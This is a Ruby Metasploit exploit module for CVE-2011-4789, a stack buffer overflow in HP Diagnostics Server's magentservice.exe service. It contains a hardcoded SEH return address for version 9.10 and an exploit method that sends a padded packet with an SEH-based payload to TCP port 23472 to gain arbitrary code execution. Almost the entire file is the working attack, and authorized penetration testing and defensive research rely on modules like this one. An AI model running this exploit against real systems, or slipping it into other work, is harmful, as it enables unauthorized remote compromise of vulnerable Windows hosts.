##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HP Diagnostics Server magentservice.exe Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in HP Diagnostics Server
          magentservice.exe service. By sending a specially crafted packet, an attacker
          may be able to execute arbitrary code. Originally found and posted by
          AbdulAziz Harir via ZDI.
        },
        'Author' => [
          'AbdulAziz Hariri', # Original discovery
          'hal', # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['OSVDB', '72815'],
          ['CVE', '2011-4789'],
          ['ZDI', '12-016']
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'seh',
          'SSL' => true,
        },
        'Payload' => {
          'Space' => 1000,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500
        },
        'Platform' => 'win',
        'DefaultTarget' => 0,
        'Targets' => [
          [
            'Diagnostics Server 9.10',
            {
              # pop esi # pop ebx # ret 10
              # magentservice.exe
              'Ret' => 0x780c8f1f
            }
          ]
        ],
        'DisclosureDate' => '2012-01-12',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(23472)])
  end

  def exploit
    req = "\x00\x00\x00\x00"
    req << rand_text_alpha_upper(1092)
    req << generate_seh_payload(target.ret)

    connect
    sock.put(req)

    handler
    disconnect
  end
end